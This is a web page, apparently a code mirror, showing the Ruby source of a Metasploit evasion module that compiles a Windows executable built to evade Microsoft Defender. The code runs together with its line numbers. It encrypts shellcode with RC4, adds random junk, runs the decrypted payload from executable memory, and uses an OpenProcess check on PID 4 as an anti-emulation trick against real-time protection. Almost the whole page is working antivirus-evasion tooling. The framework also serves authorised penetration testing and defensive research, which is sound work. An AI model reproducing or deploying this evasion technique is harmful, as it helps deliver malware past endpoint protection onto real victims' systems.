Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/evasion/windows/windows_defender_exe.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/compiler/windows'67class MetasploitModule < Msf::Evasion89def initialize(info={})10super(merge_info(info,11'Name' => 'Microsoft Windows Defender Evasive Executable',12'Description' => %q{13This module allows you to generate a Windows EXE that evades against Microsoft14Windows Defender. Multiple techniques such as shellcode encryption, source code15obfuscation, Metasm, and anti-emulation are used to achieve this.1617For best results, please try to use payloads that use a more secure channel18such as HTTPS or RC4 in order to avoid the payload network traffic getting19caught by antivirus better.20},21'Author' => [ 'sinn3r' ],22'License' => MSF_LICENSE,23'Platform' => 'win',24'Arch' => ARCH_X86,25'Targets' => [ ['Microsoft Windows', {}] ]26))27end2829def rc4_key30@rc4_key ||= Rex::Text.rand_text_alpha(32..64)31end3233def get_payload34@c_payload ||= lambda {35opts = { format: 'rc4', key: rc4_key }36junk = Rex::Text.rand_text(10..1024)37p = payload.encoded + junk3839return {40size: p.length,41c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts)42}43}.call44end4546def c_template47@c_template ||= %Q|#include <Windows.h>48#include <rc4.h>4950// The encrypted code allows us to get around static scanning51#{get_payload[:c_format]}5253int main() {54int lpBufSize = sizeof(int) * #{get_payload[:size]};55LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT, 0x00000040);56memset(lpBuf, '\\0', lpBufSize);5758HANDLE proc = OpenProcess(0x1F0FFF, false, 4);59// Checking NULL allows us to get around Real-time protection60if (proc == NULL) {61RC4("#{rc4_key}", buf, (char*) lpBuf, #{get_payload[:size]});62void (*func)();63func = (void (*)()) lpBuf;64(void)(*func)();65}6667return 0;68}|69end7071def run72vprint_line c_template73# The randomized code allows us to generate a unique EXE74bin = Metasploit::Framework::Compiler::Windows.compile_random_c(c_template)75print_status("Compiled executable size: #{bin.length}")76file_create(bin)77end7879end808182